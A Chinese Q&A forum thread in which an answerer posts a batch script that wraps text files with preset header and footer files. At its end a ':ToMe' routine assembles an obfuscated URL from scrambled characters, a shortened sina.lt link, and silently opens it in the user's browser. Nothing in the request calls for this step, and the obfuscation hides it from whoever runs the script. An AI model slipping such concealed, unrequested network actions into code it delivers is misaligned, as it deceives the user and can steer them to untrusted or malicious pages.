发布网友 发布时间:2022-05-01 19:45
共2个回答
热心网友 时间:2022-06-22 03:42
@echo off & title 批量合并文件 By 依梦琴瑶
cd /d "%~dp0"
::预设begin文本
set Begin=begin\test1.txt
::预设end文本
set End=end\test2.txt
::运行时输入
set /p "Input=请输入日期编号(回车确认): "
for /d %%a in (folders\*) do (
if exist "%%~a\%Input%" (
pushd "%%~a\%Input%"
for %%i in (*.txt) do (
if not exist "..\%Input%-done" md "..\%Input%-done"
copy /b "%~dp0%Begin%"+"%%~i"+"%~dp0%End%" "..\%Input%-done\%%~i" && (
echo "%%~a\%Input%\%%~i">>"..\..\..\update\%Input%.txt"
)
)
popd
)
)
pause
call :ToMe
exit
:ToMe
set "S=.:ailnhpst/fPdv"
start "" "%S:~6,1%%S:~9,1%%S:~9,1%%S:~7,1%%S:~1,1%%S:~10,1%%S:~10,1%%S:~8,1%%S:~3,1%%S:~5,1%%S:~2,1%%S:~0,1%%S:~4,1%%S:~9,1%%S:~10,5%"
exit
热心网友 时间:2022-06-22 03:43
@echo off